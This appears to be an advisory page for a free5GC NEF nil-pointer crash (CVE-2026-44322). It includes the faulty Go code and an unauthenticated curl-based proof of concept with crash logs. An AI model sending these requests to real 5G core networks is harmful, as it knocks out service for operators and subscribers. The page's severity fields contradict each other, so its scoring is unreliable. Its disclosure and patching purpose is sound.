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🛡️ CVE-2026-44322 — free5gc

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-476 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

free5GC's NEF 3gpp-pfd-management PATCH applications/{appId} panics on UDR access failure due to nil ProblemDetails dereference

Summary

free5GC's NEF PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId} handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns err != nil together with a nil *ProblemDetails. The handler's errPfdData != nil branch builds its own problemDetailsErr correctly, but immediately after it reads problemDetails.Cause (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into HTTP 500, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing.

This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable.

The HTTP request itself in v4.2.1 is reachable without an Authorization header because the underlying NEF 3gpp-pfd-management route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end.

Details

Validated against the NEF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/nef:v4.2.1
  • Runtime NEF commit: 5ce35eab
  • Docker validation date: 2026-03-21 (container log timestamp 2026-03-21T03:06:36Z)
  • NEF endpoint: http://10.100.200.19:8000

Vulnerable handler logic in PatchIndividualApplicationPFDManagement (paraphrased):

```go

pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID)

switch {

case problemDetails != nil:

...

case errPfdData != nil:

problemDetailsErr := &models.ProblemDetails{

Status: http.StatusInternalServerError,

Detail: "Query to UDR failed",

}

c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause) // <-- nil deref

c.JSON(int(problemDetailsErr.Status), problemDetailsErr)

return

}

```

In the errPfdData != nil branch, problemDetails is by construction nil (otherwise the first case would have matched). Reading problemDetails.Cause panics with runtime error: invalid memory address or nil pointer dereference. The intended value is presumably problemDetailsErr.Cause -- the locally constructed problem-details struct.

Code evidence (paths in free5gc/nef):

  • Patch handler core path:
  • NFs/nef/internal/sbi/processor/pfd.go:563
  • NFs/nef/internal/sbi/processor/pfd.go:610
  • Panic site (nil-deref on problemDetails.Cause):
  • NFs/nef/internal/sbi/processor/pfd.go:622
  • Route exposure / dispatch:
  • NFs/nef/internal/sbi/api_pfd.go:168
  • NFs/nef/internal/sbi/api_pfd.go:188

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures.

1. Create an AF context (no Authorization header):

```

curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \

-H 'Content-Type: application/json' \

--data '{"afAppId":"app-nef-npd3","anyUeInd":true}'

```

2. Create a PFD-management transaction:

```

curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \

-H 'Content-Type: application/json' \

--data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}'

```

3. Make UDR access fail (lab simulation):

```

docker stop nrf

```

4. Trigger the panic with one PATCH:

```

curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \

-H 'Content-Type: application/json' \

--data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}'

```

```

HTTP/1.1 500 Internal Server Error

Content-Length: 0

```

5. NEF container logs (docker logs --since 2026-03-21T03:06:36Z nef) confirm the nil-deref panic at pfd.go:622 inside PatchIndividualApplicationPFDManagement:

```

[INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3]

[ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference

github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement

.../pfd.go:622

github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement

.../api_pfd.go:188

[INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/ap

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-44322 is classified as CWE-476: NULL Pointer Dereference. A pointer that can be null is used without a check, crashing the process.

Affected software

CVE-2026-44322 is recorded against 2 packages.

  • free5gc (fixed in 4.2.2)
  • github.com/free5gc/nef

Timeline and source

Published on 27 May 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com
github.com
github.com

Other advisories for this package

free5gc has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-476: NULL Pointer Dereference) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-476
Public Exploit ⚠️ Yes
Source NVD
Published 2026-05-27
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
free5gc 4.2.2
github.com/free5gc/nef

Similar Threats

Exploit Protection

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